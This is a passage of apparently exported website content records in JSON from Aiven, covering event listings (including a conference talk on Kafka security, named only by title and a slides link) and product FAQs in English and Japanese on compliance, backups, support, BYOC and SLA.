Platform"},{"_key":"6hr0eia96wtiu3qvjjegtf5j4vn3oi1x","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Why Aiven","text":[{"_key":"hvkb6836d5ek40cn21bfzo6ts36hubaj","_type":"block","children":[{"_key":"0b2gg0hdem8ax95zbfk0ek411b62mrki","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises across diverse sectors in more than 60 countries, to create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"}],"title":"Over 1,000 customers worldwide","topOverlap":false,"variant":"mediaCenter"},{"_key":"tqvusr81dkzgnpju7t3izljdrzdpxpcq","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"items":[{"_key":"51fp5cbvirdf6kfm0ooew0um2tokeu2r","_ref":"40ucogkq98cnZ5c9nSHFIF","_type":"reference"},{"_key":"ojsgzu15h57zhf7o5ywjfejvlyxe4ls7","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"},{"_key":"rse5m44fvvoptkftmppxg6nicvtverr3","_ref":"tVMArSxU5O2aohttt7Was","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"variant":"logo"}],"eventDetails":[{"_key":"3722308110f3","_type":"block","children":[{"_key":"835340ded941","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor Google Cloud Summit London 2024! "}],"markDefs":[],"style":"normal"},{"_key":"e3441b03dd1a","_type":"block","children":[{"_key":"fec207cc698c","_type":"span","marks":[],"text":"Visit our booth to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"11997fdac2d2","_type":"block","children":[{"_key":"599928773e220","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven (available on Google Marketplace)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0fc686eeb794","_type":"block","children":[{"_key":"8990fdb1ad2b","_type":"span","marks":[],"text":"How to leverage Aiven's Bring Your Own Cloud (BYOC) for greater cost optimization and control over infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd1702651c87","_type":"block","children":[{"_key":"c22b78708fca0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"382c1340c145","_type":"block","children":[{"_key":"af95d7b0b0290","_type":"span","marks":[],"text":"Build a resilient multi-cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"7:30-18:30","eventTitle":"Google Cloud Summit London","iframeForm":{"iframeHeader":"Your Trusted Data \u0026 AI Platform","iframeHeight":900,"iframeSource":"https://go.aiven.io/l/890043/2024-09-23/vgf64"},"image":{"_type":"mainImage","asset":{"_ref":"image-f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520-png","_type":"reference"}},"partnersImage":{"_type":"mainImage","alt":"Logo Aiven at Google Cloud Summit London 2024","asset":{"_ref":"image-336c8ba993307418150e5bb5cd61fe1728243897-1750x375-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","experienceId":"experience-1706626524327","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/google-cloud-next-2024","title":"Register"},"region":"EMEA","seo":{"_type":"metaData","metaDescription":"Meet with Aiven at Google Cloud Summit London to learn how our trusted Data and AI platform can help you build innovative applications at scale. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6a89ff928a2b213610c5755c326955b2e35586e8-1200x630-png","_type":"reference"}},"metaTitle":"Google Cloud Summit London 2024"},"slug":{"_type":"slug","current":"/events/google-cloud-summit-london-2024"},"startDate":"2024-10-09T06:30:00.000Z","title":"Google Cloud Summit London 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-07-31T08:52:06Z","_id":"0fa50468-7147-4d43-b0b0-aee67562dd85","_rev":"YBdQEiAepkqcSwgPIPfrf5","_type":"event","_updatedAt":"2023-12-04T08:34:14Z","country":"LT","description":[{"_key":"0f596b151f09","_type":"block","children":[{"_key":"08cc74831251","_type":"span","marks":[],"text":"Join Francesco's session \"Attacking (and defending) Apache Kafka\" at Big Data Conference Europe this November, virtually, or in-person!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-24T16:00:00.000Z","location":"Vilnius","primaryCTA":{"_type":"link","externalUrl":"https://bigdataconference.eu/","title":"Register"},"region":"EMEA","startDate":"2023-11-22T08:00:00.000Z","talks":[{"_key":"5f55dfacef11","_type":"talk","description":[{"_key":"eea60e79b952","_type":"block","children":[{"_key":"d1836a0eda130","_type":"span","marks":[],"text":"Whether you’re directly managing Apache Kafka or it’s part of your data infrastructure, this talk will give you an idea of the security threats involved and how to be ready for them!"}],"markDefs":[],"style":"normal"},{"_key":"46d5293ad8c5","_type":"block","children":[{"_key":"9940083bbd40","_type":"span","marks":["5f32bc537042"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5f32bc537042","_type":"link","href":"https://ftisiot.net/slides/attack-defend-apache-kafka/attack-defend-kafka.pdf"}],"style":"normal"}],"speakers":[{"_key":"ea0a9cdc33ab","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Attacking (and defending) Apache Kafka"}],"title":"Big Data Conference","type":"conference"} {"__i18n_lang":"en","_createdAt":"2025-01-14T10:18:42Z","_id":"600bfa96-e0fe-4fb6-b2e6-c36eee09f8fb","_rev":"UCe181y7ND8VpGNVMOatRP","_type":"event","_updatedAt":"2025-01-20T11:16:31Z","contentIsPage":true,"country":"GB","endDate":"2025-02-27T21:30:00.000Z","hideInEventPage":true,"image":{"_type":"mainImage","asset":{"_ref":"image-619e175baed624a59c8c446ada9c3b2a111f8f2a-630x630-jpg","_type":"reference"}},"linkTitle":"Register","location":"Duck \u0026 Waffle, London","pageType":{"_type":"eventPage","content":[{"_key":"o76ghzrzr2egzfqfflgdgr47t2uodcwn","_type":"agenda","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselImages":[{"_key":"d8dk8e87ds478pb18krr62d5ih1h88z0","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-c0ecca1e68279de3ff6b1e5c03015e3efef72965-1536x2048-jpg","_type":"reference"}}}],"disabled":false,"eventSessions":[{"_key":"blj9awq6p36sioxmatk3n8vb548vwwwf","_type":"eventSession","items":[{"_key":"7879e8f6dd2rtdsshmmji6hfyxjfa9ay","_type":"eventSessionItem","category":"Welcome","description":[{"_key":"53c45a61bda2","_type":"block","children":[{"_key":"c9b22c5269e50","_type":"span","marks":[],"text":"Arrive, check-in, and enjoy some light refreshments."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f29a4ce42a40","_type":"block","children":[{"_key":"d94bca2ebd7c","_type":"span","marks":[],"text":"Engage in informal discussions with peers and industry leaders."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"6:30 PM - 7:15 PM","title":"Welcome and Networking"},{"_key":"1nspgp45yf41pwz9y9i6q5rf1h321m49","_type":"eventSessionItem","description":[{"_key":"c8c2dde80339","_type":"block","children":[{"_key":"e4178774f6b50","_type":"span","marks":[],"text":"Gain insights from a panel featuring a prominent retail customer and other experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59c56618ff0e","_type":"block","children":[{"_key":"9e125c55a202","_type":"span","marks":[],"text":"Discuss the integration of customer-centric data solutions in retail."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"7:15 PM - 7:45 PM","title":"Panel Discussion with a Customer"},{"_key":"rbilc6urkqzo9gnvn64l9bptal1zb9i8","_type":"eventSessionItem","description":[{"_key":"3f5a48f0af3f","_type":"block","children":[{"_key":"4e8cfac330e90","_type":"span","marks":[],"text":"Sit down for a meal and continue the conversations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e33138b730e7","_type":"block","children":[{"_key":"f09a1c646c07","_type":"span","marks":[],"text":"Discuss the panel insights and network in a relaxed setting."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"7:45 PM - 9:00 PM","title":"Dinner"},{"_key":"qntyruwda52vd4hpizt2m7vh8cz764u7","_type":"eventSessionItem","description":[{"_key":"d110d21ea0b4","_type":"block","children":[{"_key":"1429394958560","_type":"span","marks":[],"text":"Final networking opportunity to connect with new contacts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f20be542977","_type":"block","children":[{"_key":"8a8361a51fc7","_type":"span","marks":[],"text":"Exchange ideas and contact information for future collaborations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7627ddaaeb82","_type":"block","children":[{"_key":"de4e8e0a2866","_type":"span","marks":[],"text":"Closing remarks from the host."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"8:45 PM - 9:30 PM","title":"Networking and Close"}]}],"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","topOverlap":false},{"_key":"mr7klxnvkc5tb779urkh6t3p9kouf8kn","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","avatars":[{"_key":"7q3tt2wcrdmmm8142ej5biak4ek0zipm","_ref":"6e39f77d-98aa-41ff-972f-bbe610fd8914","_type":"reference"},{"_key":"tkgk9ch6xfgz6saqibdu93ybf6tgweco","_ref":"2511ae78-24c0-41b9-b6d5-0becad501412","_type":"reference"},{"_key":"54ilgqu30qeg7u8rb8vtuih6ahnsi4jd","_ref":"9c6103c5-9c50-4bdd-9477-df415b254880","_type":"reference"},{"_key":"u32ao2bd63aer17k1suoi9vyfi1a3wz4","_ref":"f2686486-2cf1-4777-a9a4-e8673dac62e0","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Meet our speakers","topOverlap":false,"variant":"default"},{"_key":"x27wmwwprewb064ekjlwp0j7z1bpds4g","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"u8oseytwerl1mgo82vtw7l8hl3vz9l0n","_type":"tabItem","content":[{"_key":"gonsw07kay0x44wieecss33ki94pnp41","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"z5gncyljg42dntpjns831sd4r2chfiu0","_ref":"cf430ec4-993f-4296-854f-14b929516170","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"la-redoute","image":{"_type":"mainImage","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"imageHeight":35,"title":"La Redoute"},{"_key":"z5na4s1c5wim81s0ifo3u8fatoosmyhu","_type":"tabItem","content":[{"_key":"ksoqmuhjru5m0hraypa327w67fo5jgkd","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"ydh764qwh90rmfawtd67hs4pjz7crm7f","_ref":"e70390e5-af60-477c-b802-09aaa7d60b0f","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"tv2","image":{"_type":"mainImage","asset":{"_ref":"image-016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575-png","_type":"reference"}},"imageHeight":30,"title":"TV2 Norway"},{"_key":"xf8ja1oxpl0yr28rgakril9xt1ol9evb","_type":"tabItem","content":[{"_key":"96pv9xejwefo9lblfurdjg5ws21ubbgx","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"chfpgibuql064r57k589qzih339tx1cy","_type":"testimonialItem","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"content":[{"_key":"mq6eg3m50ysmgbo9x0n11uix26r4omo9","_type":"block","children":[{"_key":"sq8qid3rmkp0yxfq93zk2a1ql9pqklxv","_type":"span","marks":[],"text":"One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_type":"reference"},"title":"Read customer story"},"jobTitle":"CTO, Supermetrics","name":"Duleepa \"Dups\" Wijayawardhana","ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"supermetrics","image":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"imageHeight":30,"title":"Supermetrics"},{"_key":"gb1ukota23t8pms4843e3k3ijvdk5t54","_type":"tabItem","content":[{"_key":"h7oea3g028u96camb8ckfc049zoixy3y","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"rbwelwtppsm1np36f06i68oo4nfv0dgs","_ref":"3yPgOzGSohafaU7PJiO4Xa","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"adeo","image":{"_type":"mainImage","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"imageHeight":35,"title":"Adeo"},{"_key":"1un401chsp6t3qi4ryfwxq8d8kp1chiq","_type":"tabItem","content":[{"_key":"z1lb44uc92t0gie2jklaoch3ouyprb6v","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"i815rbsa840gq3jf6lopxv8fkj0fgftb","_ref":"13b9f7a4-7dfe-4ae2-9049-6c638f3cf289","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"avaya","image":{"_type":"mainImage","asset":{"_ref":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_type":"reference"}},"imageHeight":30,"title":"Avaya"},{"_key":"y5ia43i30pr6wfmcfbfu0q77vn0wc77q","_type":"tabItem","content":[{"_key":"sizyy0nrjqfvsm5i9mcdnggptfzdt5s8","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"w65is30ezuimita63e5hcglvew8yrfis","_ref":"3c97f2cf-4e4a-4ec4-9d91-103aeeb23f73","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"conrad","image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"imageHeight":30,"title":"Conrad"},{"_key":"95jhz8trsi5n2pnfp40nop37liuzr9qs","_type":"tabItem","content":[{"_key":"aumjb0b9mtc1m7wf72155lypseh4cj9q","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"z93w454l17ge2l8yh8qja7i0yhfmw6ff","_ref":"5760b3cc-20cf-4a10-8fa7-742d05ab5314","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"swift","image":{"_type":"mainImage","asset":{"_ref":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_type":"reference"}},"imageHeight":48,"title":"Swift"},{"_key":"eq8yfudy81h3h5tds0dfjqgqvmx63coc","_type":"tabItem","content":[{"_key":"u4nhd7tf64p4pklt080zbp8w8pfq70s4","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"jjaat4c4ddsn28oe1av1kdj6hvz6leut","_ref":"c0c5a62e-e66b-4231-93b3-ca4913de22f6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"priceline","image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"imageHeight":30,"title":"Priceline"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","subtitle":[{"_key":"b7qmneyg7zfjli2n80j1e0uzq9ngfn7l","_type":"block","children":[{"_key":"r3lbbr1hgf7e0yg4t9mbridsj7w3dhrd","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises across diverse sectors in more than 60 countries, to create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"}],"tagline":"Why Aiven","title":"Over 1,000 customers worldwide"}],"eventDetails":[{"_key":"a8ea2ce057e5","_type":"block","children":[{"_key":"1ab57ee44de70","_type":"span","marks":[],"text":"Join us for an engaging day where we dive into how data can redefine the retail landscape. "}],"markDefs":[],"style":"normal"},{"_key":"711da5fd6436","_type":"block","children":[{"_key":"7fa74732f011","_type":"span","marks":[],"text":"We'll discuss how seamless integration of real-time analytics and comprehensive data management can elevate customer experiences and streamline operations. "}],"markDefs":[],"style":"normal"},{"_key":"66371580916c","_type":"block","children":[{"_key":"6afd86f0b4ff","_type":"span","marks":[],"text":"Connect with industry pioneers, absorb actionable insights, and discover how to handle peak traffic times with ease. "}],"markDefs":[],"style":"normal"},{"_key":"be16f88bf6e1","_type":"block","children":[{"_key":"a18a6cfb9175","_type":"span","marks":[],"text":"If your goal is to refine inventory management or boost personalization efforts, this gathering is your gateway to the future of retail."}],"markDefs":[],"style":"normal"}],"eventTime":"6:30 PM - 9:30 PM UTC","eventTitle":"Enhancing Retail through Data: Building Customer-Centric Infrastructures for Tomorrow","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":700,"iframeSource":"https://go.aiven.io/l/890043/2025-01-14/vwg7z"},"image":{"_type":"mainImage","asset":{"_ref":"image-fe727775a63c375602739413c14bb872525278d8-517x283-png","_type":"reference"}},"isCaptionShown":false,"registrationType":"iframe","replaceContent":false},"region":"EMEA","slug":{"_type":"slug","current":"/events/customer-centric-data-infrastructure"},"startDate":"2025-02-27T18:30:00.000Z","title":"Enhancing Retail through Data: Building Customer-Centric Infrastructures for Tomorrow","type":"event"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:43:02Z","_id":"bde787fb-271e-47a6-94e2-3698776780c6__i18n_ja","_rev":"IiYi5XVNmR5WYQ23CT0TfF","_type":"faq","_updatedAt":"2022-12-28T03:57:03Z","id":"security-compliant","panelText":[{"_key":"059622968f0c","_type":"block","children":[{"_key":"342d6ac770570","_type":"span","marks":[],"text":"ISO/IEC 27001:2013"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d397041d8009","_type":"block","children":[{"_key":"fb21449d2a500","_type":"span","marks":[],"text":"SOC 2"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"99ade6ee4c96","_type":"block","children":[{"_key":"a51848c756af0","_type":"span","marks":[],"text":"GDPR"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0542a9ade43","_type":"block","children":[{"_key":"42bf981672150","_type":"span","marks":[],"text":"HIPAA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6140914db771","_type":"block","children":[{"_key":"cc6bcc7b68b90","_type":"span","marks":[],"text":"PCI-DSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c8df921900fa","_type":"block","children":[{"_key":"6975c146235c0","_type":"span","marks":["c7b434ebe114"],"text":"Aivenのセキュリティとコンプライアンスについては、こちらをご覧ください"},{"_key":"826e1c734cb1","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"c7b434ebe114","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"Aivenはどのセキュリティ規格に準拠していますか?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:48:09Z","_id":"8a523089-6963-4c88-a767-1a29d588861c__i18n_ja","_rev":"DbggwV6E2LNVsJXxzGbiQD","_type":"faq","_updatedAt":"2023-01-05T16:41:16Z","id":"pitr","panelText":[{"_key":"a7e6e6d3c78c","_type":"block","children":[{"_key":"5727f2394643","_type":"span","marks":[],"text":"ポイントインタイムリカバリ(PITR)の保持期間は、プランの種類によって異なります。スタートアップは2日、ビジネスは14日、プレミアムは30日です。"},{"_key":"1768b6da768c1","_type":"span","marks":["a23b2ed9ea56"],"text":"詳細については当社のドキュメント"},{"_key":"1768b6da768c2","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"a23b2ed9ea56","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/service_backups"}],"style":"normal"}],"title":"ポイントインタイムリカバリ(PITR)の保存期間は?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:40:21Z","_id":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_rev":"gO4PimG2K28q9ZOw6G8geF","_type":"faq","_updatedAt":"2023-04-11T14:26:15Z","id":"support","panelText":[{"_key":"85f22a2f5b77","_type":"block","children":[{"_key":"c7485edb1955","_type":"span","marks":[],"text":"We proactively monitor all services 24/7/365. Our personnel are automatically alerted to any service anomalies for immediate resolution. Additionally, your account includes email and chat support. Three additional support tiers are available for a fee. "},{"_key":"d0c5679cfc81","_type":"span","marks":["6f6e461511cd"],"text":"Learn "},{"_key":"a53123c6b4f8","_type":"span","marks":[],"text":"more about support response times and plans."}],"markDefs":[{"_key":"6f6e461511cd","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"}],"title":"What’s included in Aiven customer support?"} {"__i18n_base":{"_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-10-26T15:39:58Z","_id":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_rev":"VeNKqGNmt13PzvGhqs7uwA","_type":"faq","_updatedAt":"2024-01-29T12:19:14Z","id":"byoc","panelText":[{"_key":"e3c5a7a9231e","_type":"block","children":[{"_key":"dc0e9ac8cbfe0","_type":"span","marks":[],"text":"はい、大規模セットアップ向けに"},{"_key":"bdef93d0279e","_type":"span","marks":["4c3ff8a79125"],"text":"Bring Your Own Cloud (BYOC)"},{"_key":"b327be38a684","_type":"span","marks":[],"text":"モデルを提供しています。詳細については"},{"_key":"e93bf1af5367","_type":"span","marks":["2e20f1392658"],"text":"営業までお問い合わせ"},{"_key":"3e03d5ab93d7","_type":"span","marks":[],"text":"いただくか、当社の"},{"_key":"a91eab1e2b1f","_type":"span","marks":["f004897e9f56"],"text":"BYOC ドキュメント"},{"_key":"f84f67af5fcb","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"4c3ff8a79125","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"}},{"_key":"2e20f1392658","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}},{"_key":"f004897e9f56","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"},{"_key":"055bbde0d49b","_type":"block","children":[{"_key":"1ffb0a85955d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"自分のクラウドアカウント内でAivenのサービスを実行させることはできますか?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:43:29Z","_id":"0b77eaf5-e527-4e87-b5cf-f8162e087aee","_rev":"iqESJ8uek9w1uoelOZZOD6","_type":"faq","_updatedAt":"2022-10-26T15:43:29Z","id":"sla","panelText":[{"_key":"cece9349ec69","_type":"block","children":[{"_key":"aca4c336c57e","_type":"span","marks":[],"text":"Our SLA is 99.99%. To find out more you can"},{"_key":"c0b62e56893c","_type":"span","marks":["bd2e5c519b8c"],"text":" read about our SLA, including how we compensate"}],"markDefs":[{"_key":"bd2e5c519b8c","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"}],"title":"What is Aiven’s SLA?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:43:29Z","_id":"0b77eaf5-e527-4e87-b5cf-f8162e087aee__i18n_ja","_rev":"IiYi5XVNmR5WYQ23CICfSt","_type":"faq","_updatedAt":"2022-12-23T08:52:37Z","id":"sla","panelText":[{"_key":"cece9349ec69","_type":"block","children":[{"_key":"aca4c336c57e","_type":"span","marks":[],"text":"当社のSLAは99.99%です。"},{"_key":"d82c286f8306","_type":"span","marks":["16244fd80123"],"text":"SLA("},{"_key":"317b3a91de2a","_type":"span","marks":["4e2638e24e2c"],"text":"補償方法など)についてはこちらを"},{"_key":"313aac995007","_type":"span","marks":["16244fd80123"],"text":"ご覧ください"},{"_key":"6c280b61413c","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"4e2638e24e2c","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}},{"_key":"16244fd80123","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"}],"title":"AivenのSLAとは?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:56:55Z","_id":"0e804db0-a866-4abd-827f-4958881bf05b","_rev":"m1sJAYlAKlzrK0MX0NRY8E","_type":"faq","_updatedAt":"2022-10-26T15:56:55Z","id":"dds","panelText":[{"_key":"6ca4d9e2c874","_type":"block","children":[{"_key":"5dd7ed962dd5","_type":"span","marks":[],"text":"Yes, with Aiven’s "},{"_key":"a8c0d24c67dc","_type":"span","marks":["eaf6cccd05f4"],"text":"Dynamic Disk Sizing"},{"_key":"d33355e0ab11","_type":"span","marks":[],"text":" you can freely adjust the disk space allocation for "},{"_key":"9a90fa1d292e","_type":"span","marks":["69d5a9406704"],"text":"Aiven for PostgreSQL"},{"_key":"d8574a4b8d15","_type":"span","marks":[],"text":", "},{"_key":"e99f6a892f4b","_type":"span","marks":["a5eec9cf0f3f"],"text":"Aiven for MySQL"},{"_key":"6d6e13bd925a","_type":"span","marks":[],"text":", "},{"_key":"b18d0329bc5d","_type":"span","marks":["e353588efefa"],"text":"Aiven for Apache Kafka"},{"_key":"4923aec73625","_type":"span","marks":[],"text":", "},{"_key":"b2e13c8ed216","_type":"span","marks":["44c022d1996c"],"text":"Aiven for Cassandra"},{"_key":"53058664cba3","_type":"span","marks":[],"text":", "},{"_key":"fbcaa7771e90","_type":"span","marks":["e98377ff3651"],"text":"Aiven for M3"},{"_key":"99ccebfa67e8","_type":"span","marks":[],"text":" and "},{"_key":"7dbc97390c34","_type":"span","marks":["384bf3706b74"],"text":"Aiven for OpenSearch"},{"_key":"642993bac389","_type":"span","marks":[],"text":" plans. Adjust the amount of disk space you use in the Aiven Console. You can go all the way up to three times the amount defined in your plan. The price of the additional storage also covers the additional backup storage needed to handle the increased disk 